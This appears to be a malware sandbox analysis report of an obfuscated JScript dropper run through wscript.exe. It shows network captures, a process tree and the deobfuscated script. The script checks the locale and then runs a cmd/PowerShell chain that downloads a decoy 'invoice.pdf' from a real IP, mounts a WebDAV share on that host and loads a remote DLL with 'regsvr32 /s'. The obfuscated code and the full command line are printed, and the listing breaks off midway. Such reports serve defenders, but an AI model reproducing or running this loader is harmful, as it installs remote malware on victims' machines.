61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:27:13.157504082 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:27:13.157516003 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 09:27:13.157592058 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 09:27:13.157603979 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 09:27:13.157681942 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 09:27:13.157723904 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 09:27:13.157738924 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 09:27:13.157814980 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 09:27:13.157826900 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 09:27:13.162425041 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49758	193.143.1.205	8888	7816	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:27:14.932837009 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:27:15.734868050 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:27:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:27:08
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\305861283730376077.js"
Imagebase:	0x7ff608930000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:27:08
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Imagebase:	0x7ff7f6d20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:27:08
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:27:08
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:27:13
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:27:13
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7f6d20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:27:13
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b37f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:27:14
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:27:14
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:27:14
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10526809432517051660,10063273319735876203,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fxpxxgyft() {	fxpxxgyft() ➔ undefined
1	ghxivi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var gpqix = this[gheazxbg + wdmcv + kqddi + zpsay + wuzhmz + qgchifggv + jhcsj + rrtviqh] ( this[yloxvzcoz + kacqo + soajg + kqddi + hohygq + gheazxbg + rrtviqh][bzsbayl + kqddi + wuzhmz + wdmcv + rrtviqh + wuzhmz + cthssvtj + afabm + yumoqkcx + wuzhmz + soajg + rrtviqh] ( yloxvzcoz + kacqo + soajg + kqddi + hohygq + gheazxbg + rrtviqh + lhcgy + kacqo + yxkss + wuzhmz + tjcmhzo + tjcmhzo ) [jkodnfxaf + wuzhmz + yqxjbkn + jkodnfxaf + wuzhmz + wdmcv + jzaydy] ( kfetvzbo + dyaui + tamoey + vuvnsa + odlyicsxd + bzsbayl + dcnwjh + jkodnfxaf + jkodnfxaf + tamoey + knqwxz + hvqbip + odlyicsxd + dcnwjh + kacqo + tamoey + jkodnfxaf + qfziica + bzsbayl + aovzjjhvm + jhcsj + rrtviqh + kqddi + aovzjjhvm + tjcmhzo + xvqtqjtz + ddrixkl + wdmcv + jhcsj + wuzhmz + tjcmhzo + qfziica + qgchifggv + jhcsj + rrtviqh + wuzhmz + kqddi + jhcsj + wdmcv + rrtviqh + hohygq + aovzjjhvm + jhcsj + wdmcv + tjcmhzo + qfziica + gfpqpfint + aovzjjhvm + soajg + wdmcv + tjcmhzo + wuzhmz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gsginfqa = 0 ; gsginfqa < ghxivi[tjcmhzo + wuzhmz + jhcsj + yqxjbkn + rrtviqh + yxkss] ; ++ gsginfqa )
4	{
5	if ( gpqix == ghxivi[gsginfqa] )
6	{
7	gpqix = true;
8	break ;
9	}
10	}
11	if ( gpqix !== true )
12	this[yloxvzcoz + kacqo + soajg + kqddi + hohygq + gheazxbg + rrtviqh][rqaxjh + kwniku + hohygq + rrtviqh] ( );
13	this[yloxvzcoz + kacqo + soajg + kqddi + hohygq + gheazxbg + rrtviqh][bzsbayl + kqddi + wuzhmz + wdmcv + rrtviqh + wuzhmz + cthssvtj + afabm + yumoqkcx + wuzhmz + soajg + rrtviqh] ( yloxvzcoz + kacqo + soajg + kqddi + hohygq + gheazxbg + rrtviqh + lhcgy + kacqo + yxkss + wuzhmz + tjcmhzo + tjcmhzo ) [kqddi + kwniku + jhcsj] ( soajg + qpxtkqixt + jzaydy + xvqtqjtz + qicxmuiwd + soajg + xvqtqjtz + gheazxbg + aovzjjhvm + oolozlyvk + wuzhmz + kqddi + zpsay + yxkss + wuzhmz + tjcmhzo + tjcmhzo + lhcgy + wuzhmz + jxcvvuqpz + wuzhmz + xvqtqjtz + whqbvg + bzsbayl + aovzjjhvm + qpxtkqixt + qpxtkqixt + wdmcv + jhcsj + jzaydy + xvqtqjtz + mxigkp + qgchifggv + jhcsj + lcalkf + aovzjjhvm + vslfo + wuzhmz + whqbvg + yloxvzcoz + wuzhmz + afabm + jkodnfxaf + wuzhmz + kmolx + kwniku + wuzhmz + zpsay + rrtviqh + xvqtqjtz + whqbvg + cthssvtj + kwniku + rrtviqh + utagj + hohygq + tjcmhzo + wuzhmz + xvqtqjtz + dpxuxrdc + rrtviqh + wuzhmz + qpxtkqixt + gheazxbg + dpxuxrdc + qfziica + hohygq + jhcsj + lcalkf + aovzjjhvm + hohygq + soajg + wuzhmz + lhcgy + gheazxbg + jzaydy + fphno + xvqtqjtz + yxkss + rrtviqh + rrtviqh + gheazxbg + hdsoyvr + qicxmuiwd + qicxmuiwd + vzkgzu + gjmbkytt + yjtuyzt + lhcgy + vzkgzu + rdvkpuawk + yjtuyzt + lhcgy + vzkgzu + lhcgy + zicmj + fupuyx + anbgd + qicxmuiwd + hohygq + jhcsj + lcalkf + aovzjjhvm + hohygq + soajg + wuzhmz + lhcgy + gheazxbg + yxkss + gheazxbg + mxigkp + icdqr + icdqr + zpsay + rrtviqh + wdmcv + kqddi + rrtviqh + xvqtqjtz + dpxuxrdc + rrtviqh + wuzhmz + qpxtkqixt + gheazxbg + dpxuxrdc + qfziica + hohygq + jhcsj + lcalkf + aovzjjhvm + hohygq + soajg + wuzhmz + lhcgy + gheazxbg + jzaydy + fphno + icdqr + icdqr + soajg + qpxtkqixt + jzaydy + xvqtqjtz + qicxmuiwd + soajg + xvqtqjtz + jhcsj + wuzhmz + rrtviqh + xvqtqjtz + kwniku + zpsay + wuzhmz + xvqtqjtz + qfziica + qfziica + vzkgzu + gjmbkytt + yjtuyzt + lhcgy + vzkgzu + rdvkpuawk + yjtuyzt + lhcgy + vzkgzu + lhcgy + zicmj + fupuyx + anbgd + bqtypkqmv + nvuqjtlza + nvuqjtlza + nvuqjtlza + nvuqjtlza + qfziica + jzaydy + wdmcv + lcalkf + oolozlyvk + oolozlyvk + oolozlyvk + kqddi + aovzjjhvm + aovzjjhvm + rrtviqh + qfziica + icdqr + icdqr + soajg + qpxtkqixt + jzaydy + xvqtqjtz + qicxmuiwd + soajg + xvqtqjtz + kqddi + wuzhmz + yqxjbkn + zpsay + lcalkf + kqddi + yjtuyzt + zicmj + xvqtqjtz + qicxmuiwd + zpsay + xvqtqjtz + qfziica + qfziica + vzkgzu + gjmbkytt + yjtuyzt + lhcgy + vzkgzu + rdvkpuawk + yjtuyzt + lhcgy + vzkgzu + lhcgy + zicmj + fupuyx + anbgd + bqtypkqmv + nvuqjtlza + nvuqjtlza + nvuqjtlza + nvuqjtlza + qfziica + jzaydy + wdmcv + lcalkf + oolozlyvk + oolozlyvk + oolozlyvk + kqddi + aovzjjhvm + aovzjjhvm + rrtviqh + qfziica + vzkgzu + yjtuyzt + anbgd + rdvkpuawk + nvuqjtlza + vzkgzu + gjmbkytt + fupuyx + vzkgzu + anbgd + zicmj + kwdjbfikp + anbgd + yjtuyzt + yjtuyzt + lhcgy + jzaydy + tjcmhzo + tjcmhzo, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll",0,false) ➔ 0
14	}
15	xvqtqjtz = "a";
16	xvqtqjtz = "w";
17	xvqtqjtz = "e";
18	xvqtqjtz = "a";
19	xvqtqjtz = "j";
20	xvqtqjtz = "T";
21	xvqtqjtz = "z";
22	xvqtqjtz = "y";
23	xvqtqjtz = "N";
24	xvqtqjtz = "r";
25	xvqtqjtz = "i";
26	xvqtqjtz = "X";
27	xvqtqjtz = "u";
28	xvqtqjtz = "g";
29	xvqtqjtz = "q";
30	xvqtqjtz = "g";
31	xvqtqjtz = "A";
32	xvqtqjtz = "d";
33	xvqtqjtz = "D";
34	xvqtqjtz = "e";
35	xvqtqjtz = "g";
36	xvqtqjtz = "V";
37	xvqtqjtz = "s";
38	xvqtqjtz = "t";
39	xvqtqjtz = "b";
40	xvqtqjtz = "D";
41	xvqtqjtz = "h";
42	xvqtqjtz = "d";
43	xvqtqjtz = "X";
44	xvqtqjtz = "E";
45	xvqtqjtz = "Y";
46	xvqtqjtz = "A";
47	xvqtqjtz = "O";
48	xvqtqjtz = "X";
49	xvqtqjtz = "E";
50	xvqtqjtz = "y";
51	xvqtqjtz = "i";
52	xvqtqjtz = "l";
53	xvqtqjtz = "C";
54	xvqtqjtz = " ";
55	aovzjjhvm = "R";
56	aovzjjhvm = "n";
57	aovzjjhvm = "B";
58	aovzjjhvm = "f";
59	aovzjjhvm = "N";
60	aovzjjhvm = "M";
61	aovzjjhvm = "m";
62	aovzjjhvm = "w";
63	aovzjjhvm = "i";
64	aovzjjhvm = "f";
65	aovzjjhvm = "k";
66	aovzjjhvm = "S";
67	aovzjjhvm = "j";
68	aovzjjhvm = "g";
69	aovzjjhvm = "o";
70	jxcvvuqpz = "R";
71	jxcvvuqpz = "q";
72	jxcvvuqpz = "s";
73	jxcvvuqpz = "R";
74	jxcvvuqpz = "m";
75	jxcvvuqpz = "z";
76	jxcvvuqpz = "A";
77	jxcvvuqpz = "S";
78	jxcvvuqpz = "g";
79	jxcvvuqpz = "f";
80	jxcvvuqpz = "C";
81	jxcvvuqpz = "o";
82	jxcvvuqpz = "q";
83	jxcvvuqpz = "J";
84	jxcvvuqpz = "g";
85	jxcvvuqpz = "q";
86	jxcvvuqpz = "q";
87	jxcvvuqpz = "f";
88	jxcvvuqpz = "l";
89	jxcvvuqpz = "g";
90	jxcvvuqpz = "Q";
91	jxcvvuqpz = "L";
92	jxcvvuqpz = "O";
93	jxcvvuqpz = "g";
94	jxcvvuqpz = "k";
95	jxcvvuqpz = "T";
96	jxcvvuqpz = "x";
97	oolozlyvk = "X";
98	oolozlyvk = "k";
99	oolozlyvk = "d";
100	oolozlyvk = "C";
101	oolozlyvk = "b";
102	oolozlyvk = "g";
103	oolozlyvk = "o";
104	oolozlyvk = "l";
105	oolozlyvk = "Z";
106	oolozlyvk = "S";
107	oolozlyvk = "Y";
108	oolozlyvk = "f";
109	oolozlyvk = "f";
110	oolozlyvk = "w";
111	oolozlyvk = "x";
112	oolozlyvk = "T";
113	oolozlyvk = "X";
114	oolozlyvk = "h";
115	oolozlyvk = "X";
116	oolozlyvk = "C";
117	oolozlyvk = "m";
118	oolozlyvk = "V";
119	oolozlyvk = "X";
120	oolozlyvk = "a";
121	oolozlyvk = "u";
122	oolozlyvk = "m";
123	oolozlyvk = "n";
124	oolozlyvk = "w";
125	oolozlyvk = "H";
126	oolozlyvk = "P";
127	oolozlyvk = "E";
128	oolozlyvk = "w";
129	yloxvzcoz = "y";
130	yloxvzcoz = "H";
131	yloxvzcoz = "r";
132	yloxvzcoz = "e";
133	yloxvzcoz = "r";
134	yloxvzcoz = "E";
135	yloxvzcoz = "j";
136	yloxvzcoz = "T";
137	yloxvzcoz = "R";
138	yloxvzcoz = "h";
139	yloxvzcoz = "D";
140	yloxvzcoz = "c";
141	yloxvzcoz = "n";
142	yloxvzcoz = "n";
143	yloxvzcoz = "W";
144	yloxvzcoz = "M";
145	yloxvzcoz = "A";
146	yloxvzcoz = "o";
147	yloxvzcoz = "k";
148	yloxvzcoz = "g";
149	yloxvzcoz = "p";
150	yloxvzcoz = "N";
151	yloxvzcoz = "Y";
152	yloxvzcoz = "z";
153	yloxvzcoz = "S";
154	yloxvzcoz = "i";
155	yloxvzcoz = "s";
156	yloxvzcoz = "O";
157	yloxvzcoz = "o";
158	yloxvzcoz = "p";
159	yloxvzcoz = "N";
160	yloxvzcoz = "h";
161	yloxvzcoz = "f";
162	yloxvzcoz = "g";
163	yloxvzcoz = "g";
164	yloxvzcoz = "Y";
165	yloxvzcoz = "V";
166	yloxvzcoz = "W";
167	mxigkp = "l";
168	mxigkp = "e";
169	mxigkp = "v";
170	mxigkp = "N";
171	mxigkp = "v";
172	mxigkp = "Y";
173	mxigkp = "L";
174	mxigkp = "S";
175	mxigkp = "\"";
176	soajg = "x";
177	soajg = "D";
178	soajg = "f";
179	soajg = "p";
180	soajg = "Z";
181	soajg = "t";
182	soajg = "O";
183	soajg = "t";
184	soajg = "R";
185	soajg = "r";
186	soajg = "W";
187	soajg = "i";
188	soajg = "l";
189	soajg = "E";
190	soajg = "s";
191	soajg = "y";
192	soajg = "v";
193	soajg = "k";
194	soajg = "E";
195	soajg = "B";
196	soajg = "B";
197	soajg = "i";
198	soajg = "h";
199	soajg = "K";
200	soajg = "R";
201	soajg = "Z";
202	soajg = "a";
203	soajg = "T";
204	soajg = "C";
205	soajg = "n";
206	soajg = "p";
207	soajg = "s";
208	soajg = "U";
209	soajg = "c";
210	kfetvzbo = "l";
211	kfetvzbo = "H";
212	odlyicsxd = "Z";
213	odlyicsxd = "b";
214	odlyicsxd = "m";
215	odlyicsxd = "a";
216	odlyicsxd = "b";
217	odlyicsxd = "j";
218	odlyicsxd = "x";
219	odlyicsxd = "a";
220	odlyicsxd = "n";
221	odlyicsxd = "c";
222	odlyicsxd = "T";
223	odlyicsxd = "X";
224	odlyicsxd = "K";
225	odlyicsxd = "Q";
226	odlyicsxd = "n";
227	odlyicsxd = "W";
228	odlyicsxd = "H";
229	odlyicsxd = "C";
230	odlyicsxd = "w";
231	odlyicsxd = "d";
232	odlyicsxd = "t";
233	odlyicsxd = "f";
234	odlyicsxd = "r";
235	odlyicsxd = "g";
236	odlyicsxd = "S";
237	odlyicsxd = "H";
238	odlyicsxd = "C";
239	odlyicsxd = "x";
240	odlyicsxd = "E";
241	odlyicsxd = "z";
242	odlyicsxd = "W";
243	odlyicsxd = "c";
244	odlyicsxd = "t";
245	odlyicsxd = "y";
246	odlyicsxd = "A";
247	odlyicsxd = "D";
248	odlyicsxd = "j";
249	odlyicsxd = "R";
250	odlyicsxd = "u";
251	odlyicsxd = "_";
252	qfziica = "S";
253	qfziica = "B";
254	qfziica = "a";
255	qfziica = "h";
256	qfziica = "E";
257	qfziica = "b";
258	qfziica = "v";
259	qfziica = "N";
260	qfziica = "J";
261	qfziica = "z";
262	qfziica = "X";
263	qfziica = "L";
264	qfziica = "C";
265	qfziica = "M";
266	qfziica = "s";
267	qfziica = "a";
268	qfziica = "O";
269	qfziica = "J";
270	qfziica = "y";
271	qfziica = "i";
272	qfziica = "S";
273	qfziica = "N";
274	qfziica = "T";
275	qfziica = "c";
276	qfziica = "O";
277	qfziica = "q";
278	qfziica = "o";
279	qfziica = "s";
280	qfziica = "\\";
281	tamoey = "q";
282	tamoey = "J";
283	tamoey = "V";
284	tamoey = "O";
285	tamoey = "m";
286	tamoey = "M";
287	tamoey = "D";
288	tamoey = "x";
289	tamoey = "X";
290	tamoey = "x";
291	tamoey = "U";
292	tamoey = "c";
293	tamoey = "C";
294	tamoey = "Z";
295	tamoey = "c";
296	tamoey = "Z";
297	tamoey = "m";
298	tamoey = "t";
299	tamoey = "m";
300	tamoey = "Q";
301	tamoey = "w";
302	tamoey = "S";
303	tamoey = "J";
304	tamoey = "f";
305	tamoey = "h";
306	tamoey = "m";
307	tamoey = "S";
308	tamoey = "Z";
309	tamoey = "j";
310	tamoey = "j";
311	tamoey = "g";
312	tamoey = "M";
313	tamoey = "K";
314	tamoey = "f";
315	tamoey = "f";
316	tamoey = "X";
317	tamoey = "C";
318	tamoey = "z";
319	tamoey = "N";
320	tamoey = "b";
321	tamoey = "N";
322	tamoey = "E";
323	gfpqpfint = "A";
324	gfpqpfint = "z";
325	gfpqpfint = "e";
326	gfpqpfint = "Y";
327	gfpqpfint = "a";
328	gfpqpfint = "m";
329	gfpqpfint = "i";
330	gfpqpfint = "O";
331	gfpqpfint = "t";
332	gfpqpfint = "f";
333	gfpqpfint = "k";
